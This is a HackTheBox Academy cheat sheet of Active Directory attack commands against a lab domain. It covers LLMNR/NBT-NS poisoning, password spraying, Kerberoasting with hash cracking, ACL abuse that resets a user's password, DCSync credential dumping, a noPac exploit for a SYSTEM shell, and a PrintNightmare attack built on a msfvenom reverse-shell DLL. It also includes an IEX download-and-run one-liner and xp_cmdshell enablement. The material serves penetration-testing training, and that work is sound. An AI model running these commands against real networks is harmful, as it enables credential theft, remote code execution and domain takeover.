HACKTHEBOX

ACTIVE DIRECTORY ENUMERATION & ATTACKS

CHEAT SHEET

Initial Enumeration

Command	Description
`nslookup ns1.inlanefreight.com`	Used to query the domain name system and discover the IP address to domain name mapping of the target entered from a Linux-based host.
`sudo tcpdump -i ens224`	Used to start capturing network packets on the network interface proceeding the `-i` option a Linux-based host.
`sudo responder -I ens224 -A`	Used to start responding to & analyzing `LLMNR`, `NBT-NS` and `MDNS` queries on the interface specified proceeding the `-I` option and operating in `Passive Analysis` mode which is activated using `-A`. Performed from a Linux-based host
`fping -asgq 172.16.5.0/23`	Performs a ping sweep on the specified network segment from a Linux-based host.
`sudo nmap -v -A -iL hosts.txt -oN /home/User/Documents/host-enum`	Performs an nmap scan that with OS detection, version detection, script scanning, and traceroute enabled (`-A`) based on a list of hosts (`hosts.txt`) specified in the file proceeding `-iL`. Then outputs the scan results to the file specified after the `-oN`option. Performed from a Linux-based host

Command	Description
`sudo git clone https://github.com/ropnop/kerbrute.git`	Uses `git` to clone the kerbrute tool from a Linux-based host.
`make help`	Used to list compiling options that are possible with `make` from a Linux-based host.
`sudo make all`	Used to compile a `Kerbrute` binary for multiple OS platforms and CPU architectures.
`./kerbrute_linux_amd64`	Used to test the chosen complied `Kebrute` binary from a Linux-based host.
`sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute`	Used to move the `Kerbrute` binary to a directory can be set to be in a Linux user's path. Making it easier to use the tool.
`./kerbrute_linux_amd64 userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o kerb-results`	Runs the Kerbrute tool to discover usernames in the domain (`INLANEFREIGHT.LOCAL`) specified proceeding the `-d` option and the associated domain controller specified proceeding `--dc`using a wordlist and outputs (`-o`) the results to a specified file. Performed from a Linux-based host.

LLMNR/NTB-NS Poisoning

Command	Description
`responder -h`	Used to display the usage instructions and various options available in `Responder` from a Linux-based host.

Command	Description
`hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt`	Uses `hashcat` to crack `NTLMv2` (`-m`) hashes that were captured by responder and saved in a file (`frond_ntlmv2`). The cracking is done based on a specified wordlist.
`Import-Module .\Inveigh.ps1`	Using the `Import-Module` PowerShell cmd-let to import the Windows-based tool `Inveigh.ps1`.
`(Get-Command Invoke-Inveigh).Parameters`	Used to output many of the options & functionality available with `Invoke-Inveigh`. Peformed from a Windows-based host.
`Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y`	Starts `Inveigh` on a Windows-based host with LLMNR & NBNS spoofing enabled and outputs the results to a file.

HTB ACADEMY CHEATSHEET

Command	Description
`.\Inveigh.exe`	Starts the `C#` implementation of `Inveigh` from a Windows-based host.
`$regkey = "HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces" Get-ChildItem $regkey \|foreach { Set-ItemProperty -Path "$regkey\$($_.pschildname)" -Name NetbiosOptions -Value 2 -Verbose}`	PowerShell script used to disable NBT-NS on a Windows host.

Password Spraying & Password Policies

Command	Description
`#!/bin/bash for x in {{A..Z}, {0..9}}{{A..Z},{0..9}}{{A..Z}, {0..9}}{{A..Z},{0..9}} do echo $x; done`	Bash script used to generate `16,079,616` possible username combinations from a Linux-based host.
`crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol`	Uses `CrackMapExec`and valid credentials (`avazquez:Password123`) to enumerate the password policy (`--pass-pol`) from a Linux-based host.
`rpcclient -U "" -N 172.16.5.5`	Uses `rpcclient` to discover information about the domain through `SMB NULL` sessions. Performed from a Linux-based host.
`rpcclient $> querydominfo`	Uses `rpcclient` to enumerate the password policy in a target Windows domain from a Linux-based host.
`enum4linux -P 172.16.5.5`	Uses `enum4linux` to enumerate the password policy (`-P`) in a target Windows domain from a Linux-based host.
`enum4linux-ng -P 172.16.5.5 -oA ilfreight`	Uses `enum4linux-ng` to enumerate the password policy (`-P`) in a target Windows domain from a Linux-based host, then presents the output in YAML & JSON saved in a file proceeding the `-oA` option.

Command	Description
`ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength`	Uses `ldapsearch` to enumerate the password policy in a target Windows domain from a Linux-based host.
`net accounts`	Used to enumerate the password policy in a Windows domain from a Windows-based host.
`Import-Module .\PowerView.ps1`	Uses the Import-Module cmd-let to import the `PowerView.ps1` tool from a Windows-based host.
`Get-DomainPolicy`	Used to enumerate the password policy in a target Windows domain from a Windows-based host.
`enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"`	Uses `enum4linux` to discover user accounts in a target Windows domain, then leverages `grep` to filter the output to just display the user from a Linux-based host.
`rpcclient -U "" -N 172.16.5.5` `rpcclient $> enumdomuser`	Uses rpcclient to discover user accounts in a target Windows domain from a Linux-based host.
`crackmapexec smb 172.16.5.5 --users`	Uses `CrackMapExec` to discover users (`--users`) in a target Windows domain from a Linux-based host.
`ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "`	Uses `ldapsearch` to discover users in a target Windows doman, then filters the output using `grep` to show only the `sAMAccountName` from a Linux-based host.
`./windapsearch.py --dc-ip 172.16.5.5 -u "" -U`	Uses the python tool `windapsearch.py` to discover users in a target Windows domain from a Linux-based host.
`for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done`	Bash one-liner used to perform a password spraying attack using `rpcclient` and a list of users (`valid_users.txt`) from a Linux-based host. It also filters out failed attempts to make the output cleaner.
`kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1`	Uses `kerbrute` and a list of users (`valid_users.txt`) to perform a password spraying attack against a target Windows domain from a Linux-based host.

Command	Description
`sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +`	Uses `CrackMapExec` and a list of users (`valid_users.txt`) to perform a password spraying attack against a target Windows domain from a Linux-based host. It also filters out logon failures using `grep`.
`sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123`	Uses `CrackMapExec` to validate a set of credentials from a Linux-based host.
`sudo crackmapexec smb --local-auth 172.16.5.0/24 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +`	Uses `CrackMapExec` and the `--local-auth` flag to ensure only one login attempt is performed from a Linux-based host. This is to ensure accounts are not locked out by enforced password policies. It also filters out logon failures using `grep`.
`Import-Module .\DomainPasswordSpray.ps1`	Used to import the PowerShell-based tool `DomainPasswordSpray.ps1` from a Windows-based host.
`Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue`	Performs a password spraying attack and outputs (-OutFile) the results to a specified file (`spray_success`) from a Windows-based host.

Enumerating Security Controls

Command	Description
`Get-MpComputerStatus`	PowerShell cmd-let used to check the status of `Windows Defender Anti-Virus` from a Windows-based host.
`Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections`	PowerShell cmd-let used to view `AppLocker` policies from a Windows-based host.
`$ExecutionContext.SessionState.LanguageMode`	PowerShell script used to discover the `PowerShell Language Mode` being used on a Windows-based host. Performed from a Windows-based host.
`Find-LAPSDelegatedGroups`	A `LAPSToolkit` function that discovers `LAPS Delegated Groups` from a Windows-based host.

Command	Description
`Find-AdmPwdExtendedRights`	A `LAPSTookit` function that checks the rights on each computer with LAPS enabled for any groups with read access and users with `All Extended Rights`. Performed from a Windows-based host.
`Get-LAPSComputers`	A `LAPSToolkit` function that searches for computers that have LAPS enabled, discover password expiration and can discover randomized passwords. Performed from a Windows-based host.

Credentialed Enumeration

Command	Description
`xfreerdp /u:forend@inlanefreight.local /p:Klmcargo2 /v:172.16.5.25`	Connects to a Windows target using valid credentials. Performed from a Linux-based host.
`sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users`	Authenticates with a Windows target over `smb` using valid credentials and attempts to discover more users (`--users`) in a target Windows domain. Performed from a Linux-based host.
`sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups`	Authenticates with a Windows target over `smb` using valid credentials and attempts to discover groups (`--groups`) in a target Windows domain. Performed from a Linux-based host.

Command	Description
`sudo crackmapexec smb 172.16.5.125 -u forend -p Klmcargo2 --loggedon-users`	Authenticates with a Windows target over `smb` using valid credentials and attempts to check for a list of logged on users (`--loggedon-users`) on the target Windows host. Performed from a Linux-based host.
`sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares`	Authenticates with a Windows target over `smb` using valid credentials and attempts to discover any smb shares (`--shares`). Performed from a Linux-based host.
`sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share Dev-share`	Authenticates with a Windows target over `smb` using valid credentials and utilizes the CrackMapExec module (`-M`) `spider_plus` to go through each readable share (`Dev-share`) and list all readable files. The results are outputted in `JSON`. Performed from a Linux-based host.
`smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5`	Enumerates the target Windows domain using valid credentials and lists shares & permissions available on each within the context of the valid credentials used and the target Windows host (`-H`). Performed from a Linux-based host.
`smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R SYSVOL --dir-only`	Enumerates the target Windows domain using valid credentials and performs a recursive listing (`-R`) of the specified share (`SYSVOL`) and only outputs a list of directories (`--dir-only`) in the share. Performed from a Linux-based host.

Command	Description
`rpcclient $> queryuser 0x457`	Enumerates a target user account in a Windows domain using its relative identifier (`0x457`). Performed from a Linux-based host.
`rpcclient $> enumdomusers`	Discovers user accounts in a target Windows domain and their associated relative identifiers (`rid`). Performed from a Linux-based host.
`psexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.125`	Impacket tool used to connect to the `CLI` of a Windows target via the `ADMIN$` administrative share with valid credentials. Performed from a Linux-based host.
`wmiexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.5`	Impacket tool used to connect to the `CLI` of a Windows target via `WMI` with valid credentials. Performed from a Linux-based host.
`windapsearch.py -h`	Used to display the options and functionality of windapsearch.py. Performed from a Linux-based host.
`python3 windapsearch.py --dc-ip 172.16.5.5 -u inlanefreight\wley -p transporter@4 --da`	Used to enumerate the domain admins group (`--da`) using a valid set of credentials on a target Windows domain. Performed from a Linux-based host.
`python3 windapsearch.py --dc-ip 172.16.5.5 -u inlanefreight\wley -p transporter@4 -PU`	Used to perform a recursive search (`-PU`) for users with nested permissions using valid credentials. Performed from a Linux-based host.

Command	Description
`sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all`	Executes the python implementation of BloodHound (`bloodhound.py`) with valid credentials and specifies a name server (`-ns`) and target Windows domain (`inlanefreight.local`) as well as runs all checks (`-c all`). Runs using valid credentials. Performed from a Linux-based host.

Enumeration by Living Off the Land

Command	Description
`Get-Module`	PowerShell cmd-let used to list all available modules, their version and command options from a Windows-based host.
`Import-Module ActiveDirectory`	Loads the `Active Directory` PowerShell module from a Windows-based host.
`Get-ADDomain`	PowerShell cmd-let used to gather Windows domain information from a Windows-based host.
`Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName`	PowerShell cmd-let used to enumerate user accounts on a target Windows domain and filter by `ServicePrincipalName`. Performed from a Windows-based host.
`Get-ADTrust -Filter *`	PowerShell cmd-let used to enumerate any trust relationships in a target Windows domain and filters by any (`-Filter *`). Performed from a Windows-based host.
`Get-ADGroup -Filter * | select name`	PowerShell cmd-let used to enumerate groups in a target Windows domain and filters by the name of the group (`select name`). Performed from a Windows-based host.

Command	Description
`Get-ADGroup -Identity "Backup Operators"`	PowerShell cmd-let used to search for a specifc group (`-Identity "Backup Operators"`). Performed from a Windows-based host.
`Get-ADGroupMember -Identity "Backup Operators"`	PowerShell cmd-let used to discover the members of a specific group (`-Identity "Backup Operators"`). Performed from a Windows-based host.
`Export-PowerViewCSV`	PowerView script used to append results to a `CSV` file. Performed from a Windows-based host.
`ConvertTo-SID`	PowerView script used to convert a `User` or `Group` name to it's `SID`. Performed from a Windows-based host.
`Get-DomainSPNTicket`	PowerView script used to request the kerberos ticket for a specified service principal name (`SPN`). Performed from a Windows-based host.
`Get-Domain`	PowerView script used tol return the AD object for the current (or specified) domain. Performed from a Windows-based host.
`Get-DomainController`	PowerView script used to return a list of the target domain controllers for the specified target domain. Performed from a Windows-based host.
`Get-DomainUser`	PowerView script used to return all users or specific user objects in AD. Performed from a Windows-based host.
`Get-DomainComputer`	PowerView script used to return all computers or specific computer objects in AD. Performed from a Windows-based host.
`Get-DomainGroup`	PowerView script used to eturn all groups or specific group objects in AD. Performed from a Windows-based host.
`Get-DomainOU`	PowerView script used to search for all or specific OU objects in AD. Performed from a Windows-based host.

Command	Description
`Find-InterestingDomainAcl`	PowerView script used to find object `ACLs` in the domain with modification rights set to non-built in objects. Performed from a Windows-based host.
`Get-DomainGroupMember`	PowerView script used to return the members of a specific domain group. Performed from a Windows-based host.
`Get-DomainFileServer`	PowerView script used to return a list of servers likely functioning as file servers. Performed from a Windows-based host.
`Get-DomainDFSShare`	PowerView script used to return a list of all distributed file systems for the current (or specified) domain. Performed from a Windows-based host.
`Get-DomainGPO`	PowerView script used to return all GPOs or specific GPO objects in AD. Performed from a Windows-based host.
`Get-DomainPolicy`	PowerView script used to return the default domain policy or the domain controller policy for the current domain. Performed from a Windows-based host.
`Get-NetLocalGroup`	PowerView script used to enumerate local groups on a local or remote machine. Performed from a Windows-based host.
`Get-NetLocalGroupMember`	PowerView script enumerate members of a specific local group. Performed from a Windows-based host.
`Get-NetShare`	PowerView script used to return a list of open shares on a local (or a remote) machine. Performed from a Windows-based host.
`Get-NetSession`	PowerView script used to return session information for the local (or a remote) machine. Performed from a Windows-based host.
`Test-AdminAccess`	PowerView script used to test if the current user has administrative access to the local (or a remote) machine. Performed from a Windows-based host.

HTB ACADEMY CHEATSHEET

Command	Description
`Find-DomainUserLocation`	PowerView script used to find machines where specific users are logged into. Performed from a Windows-based host.
`Find-DomainShare`	PowerView script used to find reachable shares on domain machines. Performed from a Windows-based host.
`Find-InterestingDomainShareFile`	PowerView script that searches for files matching specific criteria on readable shares in the domain. Performed from a Windows-based host.
`Find-LocalAdminAccess`	PowerView script used to find machines on the local domain where the current user has local administrator access Performed from a Windows-based host.
`Get-DomainTrust`	PowerView script that returns domain trusts for the current domain or a specified domain. Performed from a Windows-based host.
`Get-ForestTrust`	PowerView script that returns all forest trusts for the current forest or a specified forest. Performed from a Windows-based host.
`Get-DomainForeignUser`	PowerView script that enumerates users who are in groups outside of the user's domain. Performed from a Windows-based host.
`Get-DomainForeignGroupMember`	PowerView script that enumerates groups with users outside of the group's domain and returns each foreign member. Performed from a Windows-based host.
`Get-DomainTrustMapping`	PowerView script that enumerates all trusts for current domain and any others seen. Performed from a Windows-based host.
`Get-DomainGroupMember -Identity "Domain Admins" -Recurse`	PowerView script used to list all the members of a target group (`"Domain Admins"`) through the use of the recurse option (`-Recurse`). Performed from a Windows-based host.

HTB ACADEMY CHEATSHEET

Command	Description
`Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName`	PowerView script used to find users on the target Windows domain that have the `Service Principal Name` set. Performed from a Windows-based host.
`.\Snaffler.exe -d INLANEFREIGHT.LOCAL -s -v data`	Runs a tool called `Snaffler` against a target Windows domain that finds various kinds of data in shares that the compromised account has access to. Performed from a Windows-based host.

Transfering Files

Command	Description
`sudo python3 -m http.server 8001`	Starts a python web server for quick hosting of files. Performed from a Linux-basd host.
`"IEX(New-Object Net.WebClient).downloadString('http://172.16.5.222/SharpHound.exe')"`	PowerShell one-liner used to download a file from a web server. Performed from a Windows-based host.
`impacket-smbserver -ip 172.16.5.x -smb2support -username user -password password shared /home/administrator/Downloads/`	Starts a impacket `SMB` server for quick hosting of a file. Performed from a Windows-based host.

Kerberoasting

Command	Description
`sudo python3 -m pip install .`	Used to install Impacket from inside the directory that gets cloned to the attack host. Performed from a Linux-based host.
`GetUserSPNs.py -h`	Impacket tool used to display the options and functionality of `GetUserSPNs.py` from a Linux-based host.
`GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday`	Impacket tool used to get a list of `SPNs` on the target Windows domain from a Linux-based host.
`GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request`	Impacket tool used to download/request (`-request`) all TGS tickets for offline processing from a Linux-based host.
`GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev`	Impacket tool used to download/request (`-request-user`) a TGS ticket for a specific user account (`sqldev`) from a Linux-based host.
`GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday -request-user sqldev -outputfile sqldev_tgs`	Impacket tool used to download/request a TGS ticket for a specific user account and write the ticket to a file (`-outputfile sqldev_tgs`) linux-based host.

Command	Description
`hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt --force`	Attempts to crack the Kerberos (`-m 13100`) ticket hash (`sqldev_tgs`) using `hashcat` and a wordlist (`rockyou.txt`) from a Linux-based host.
`setspn.exe -Q */*`	Used to enumerate `SPNs` in a target Windows domain from a Windows-based host.
`Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"`	PowerShell script used to download/request the TGS ticket of a specific user from a Windows-based host.
`setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }`	Used to download/request all TGS tickets from a WIndows-based host.
`mimikatz # base64 /out:true`	`Mimikatz` command that ensures TGS tickets are extracted in `base64` format from a Windows-based host.
`kerberos::list /export`	`Mimikatz` command used to extract the TGS tickets from a Windows-based host.
`echo "<base64 blob>" | tr -d \\n`	Used to prepare the base64 formatted TGS ticket for cracking from Linux-based host.
`cat encoded_file | base64 -d > sqldev.kirbi`	Used to output a file (`encoded_file`) into a .kirbi file in base64 (`base64 -d > sqldev.kirbi`) format from a Linux-based host.

HTB ACADEMY CHEATSHEET

Command	Description
`python2.7 kirbi2john.py sqldev.kirbi`	Used to extract the `Kerberos ticket`. This also creates a file called `crack_file` from a Linux-based host.
`sed 's/\$krb5tgs\$\(.*\):\ (.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat`	Used to modify the `crack_file` for `Hashcat` from a Linux-based host.
`cat sqldev_tgs_hashcat`	Used to view the prepared hash from a Linux-based host.
`hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt`	Used to crack the prepared Kerberos ticket hash (`sqldev_tgs_hashcat`) using a wordlist (`rockyou.txt`) from a Linux-based host.
`Import-Module .\PowerView.ps1 Get-DomainUser * -spn | select samaccountname`	Uses PowerView tool to extract `TGS Tickets` . Performed from a Windows-based host.
`Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat`	PowerView tool used to download/request the TGS ticket of a specific ticket and automatically format it for `Hashcat` from a Windows-based host.
`Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation`	Exports all TGS tickets to a `.CSV` file (`ilfreight_tgs.csv`) from a Windows-based host.
`cat .\ilfreight_tgs.csv`	Used to view the contents of the .csv file from a Windows-based host.

Command	Description
`.\Rubeus.exe`	Used to view the options and functionality possible with the tool `Rubeus`. Performed from a Windows-based host.
`.\Rubeus.exe kerberoast /stats`	Used to check the kerberoast stats (`/stats`) within the target Windows domain from a Windows-based host.
`.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap`	Used to request/download TGS tickets for accounts with the `admin` count set to `1` then formats the output in an easy to view & crack manner (`/nowrap`) . Performed from a Windows-based host.
`.\Rubeus.exe kerberoast /user:testspn /nowrap`	Used to request/download a TGS ticket for a specific user (`/user:testspn`) the formats the output in an easy to view & crack manner (`/nowrap`). Performed from a Windows-based host.
`Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes`	PowerView tool used to check the `msDS-SupportedEncryptionType` attribute associated with a specific user account (`testspn`). Performed from a Windows-based host.
`hashcat -m 13100 rc4_to_crack /usr/share/wordlists/rockyou.txt`	Used to attempt to crack the ticket hash using a wordlist (`rockyou.txt`) from a Linux-based host .

ACL Enumeration & Tactics

Command	Description
`Find-InterestingDomainAcl`	PowerView tool used to find object ACLs in the target Windows domain with modification rights set to non-built in objects from a Windows-based host.
`Import-Module .\PowerView.ps1 $sid = Convert-NameToSid wley`	Used to import PowerView and retrieve the `SID` of a specific user account (`wley`) from a Windows-based host.
`Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}`	Used to find all Windows domain objects that the user has rights over by mapping the user's `SID` to the `SecurityIdentifier` property from a Windows-based host.
`$guid= "00299570-246d-11d0-a768-00aa006e0529" Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * | Select Name,DisplayName,DistinguishedName,rightsGuid | ?{$_.rightsGuid -eq $guid} | fl`	Used to perform a reverse search & map to a `GUID` value from a Windows-based host.
`Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}`	Used to discover a domain object's ACL by performing a search based on GUID's (`-ResolveGUIDs`) from a Windows-based host.

Command	Description
`Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt`	Used to discover a group of user accounts in a target Windows domain and add the output to a text file (`ad_users.txt`) from a Windows-based host.
`foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {get-acl "AD:\$(Get-ADUser $line)" \| Select-Object Path -ExpandProperty Access \| Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}`	A `foreach loop` used to retrieve ACL information for each domain user in a target Windows domain by feeding each list of a text file(`ad_users.txt`) to the `Get-ADUser` cmdlet, then enumerates access rights of those users. Performed from a Windows-based host.
`$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)`	Used to create a `PSCredential Object` from a Windows-based host.
`$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force`	Used to create a `SecureString Object` from a Windows-based host.

Command	Description
`Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose`	PowerView tool used to change the password of a specifc user (`damundsen`) on a target Windows domain from a Windows-based host.
`Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members`	PowerView tool used view the members of a target security group (`Help Desk Level 1`) from a Windows-based host.
`Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose`	PowerView tool used to add a specifc user (`damundsen`) to a specific security group (`Help Desk Level 1`) in a target Windows domain from a Windows-based host.
`Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName`	PowerView tool used to view the members of a specific security group (`Help Desk Level 1`) and output only the username of each member (`Select MemberName`) of the group from a Windows-based host.

HTB ACADEMY CHEATSHEET

Command	Description
`Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose`	PowerView tool used create a fake `Service Principal Name` given a sepecift user (`adunn`) from a Windows-based host.
`Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose`	PowerView tool used to remove the fake `Service Principal Name` created during the attack from a Windows-based host.
`Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose`	PowerView tool used to remove a specific user (`damundsent`) from a specific security group (`Help Desk Level 1`) from a Windows-based host.
`ConvertFrom-SddlString`	PowerShell cmd-let used to covert an `SDDL string` into a readable format. Performed from a Windows-based host.

DCSync

Command	Description

Command	Description
`Get-DomainUser -Identity adunn | select samaccountname,objectsid,memberof,useraccountcontrol |fl`	PowerView tool used to view the group membership of a specific user (`adunn`) in a target Windows domain. Performed from a Windows-based host.
`$sid= "S-1-5-21-3842939050-3880317879-2865463114-1164" Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs \| ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} | select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl`	Used to create a variable called SID that is set equal to the SID of a user account. Then uses PowerView tool `Get-ObjectAcl` to check a specific user's replication rights. Performed from a Windows-based host.
`secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5 -use-vss`	Impacket tool sed to extract NTLM hashes from the NTDS.dit file hosted on a target Domain Controller (`172.16.5.5`) and save the extracted hashes to an file (`inlanefreight_hashes`). Performed from a Linux-based host.
`mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator`	Uses `Mimikatz` to perform a `dcsync` attack from a Windows-based host.

Privileged Access

Command	Description
`Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"`	PowerView based tool to used to enumerate the `Remote Desktop Users` group on a Windows target (`-ComputerName ACADEMY-EA-MS01`) from a Windows-based host.

Command	Description
`Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"`	PowerView based tool to used to enumerate the `Remote Management Users` group on a Windows target (`-ComputerName ACADEMY-EA-MS01`) from a Windows-based host.
`$password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force`	Creates a variable (`$password`) set equal to the password (`Klmcargo2`) of a user from a Windows-based host.
`$cred = new-object System.Management.Automation.PSCredential ("INLANEFREIGHT\forend", $password)`	Creates a variable (`$cred`) set equal to the username (`forend`) and password (`$password`) of a target domain account from a Windows-based host.
`Enter-PSSession -ComputerName ACADEMY-EA-DB01 -Credential $cred`	Uses the PowerShell cmd-let `Enter-PSSession` to establish a PowerShell session with a target over the network (`-ComputerName ACADEMY-EA-DB01`) from a Windows-based host. Authenticates using credentials made in the 2 commands shown prior (`$cred` & `$password`).
`evil-winrm -i 10.129.201.234 -u forend`	Used to establish a PowerShell session with a Windows target from a Linux-based host using `WinRM`.
`Import-Module .\PowerUpSQL.ps1`	Used to import the `PowerUpSQL` tool.
`Get-SQLInstanceDomain`	PowerUpSQL tool used to enumerate SQL server instances from a Windows-based host.
`Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'`	PowerUpSQL tool used to connect to connect to a SQL server and query the version (`-query 'Select @@version'`) from a Windows-based host.
`mssqlclient.py`	Impacket tool used to display the functionality and options provided with `mssqlclient.py` from a Linux-based host.
`mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth`	Impacket tool used to connect to a MSSQL server from a Linux-based host.

Command	Description
`SQL> help`	Used to display mssqlclient.py options once connected to a MSSQL server.
`SQL> enable_xp_cmdshell`	Used to enable `xp_cmdshell stored procedure` that allows for executing OS commands via the database from a Linux-based host.
`xp_cmdshell whoami /priv`	Used to enumerate rights on a system using `xp_cmdshell`.

NoPac

Command	Description
`sudo git clone https://github.com/Ridter/noPac.git`	Used to clone a `noPac` exploit using git. Performed from a Linux-based host.
`sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap`	Runs `scanner.py` to check if a target system is vulnerable to `noPac`/`Sam_The_Admin` from a Linux-based host.
`sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap`	Used to exploit the `noPac`/`Sam_The_Admin` vulnerability and gain a SYSTEM shell (`-shell`). Performed from a Linux-based host.
`sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator`	Used to exploit the `noPac`/`Sam_The_Admin` vulnerability and perform a `DCSync` attack against the built-in Administrator account on a Domain Controller from a Linux-based host.

PrintNightmare

Command	Description

Command	Description
`git clone https://github.com/cube0x0/CVE-2021-1675.git`	Used to clone a PrintNightmare exploit using git from a Linux-based host.
`pip3 uninstall impacket git clone https://github.com/cube0x0/impacket cd impacket python3 ./setup.py install`	Used to ensure the exploit author's (`cube0x0`) version of Impacket is installed. This also uninstalls any previous Impacket version on a Linux-based host.
`rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'`	Used to check if a Windows target has `MS-PAR` & `MSRPRN` exposed from a Linux-based host.
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.129.202.111 LPORT=8080 -f dll > backupscript.dll`	Used to generate a DLL payload to be used by the exploit to gain a shell session. Performed from a Windows-based host.
`sudo smbserver.py -smb2support CompData /path/to/backupscript.dll`	Used to create an SMB server and host a shared folder (`CompData`) at the specified location on the local linux host. This can be used to host the DLL payload that the exploit will attempt to download to the host. Performed from a Linux-based host.
`sudo python3 CVE-2021-1675.py inlanefreight.local/<username>:<password>@172.16.5.5 '\\10.129.202.111\CompData\backupscript.dll'`	Executes the exploit and specifies the location of the DLL payload. Performed from a Linux-based host.

PetitPotam

Command	Description
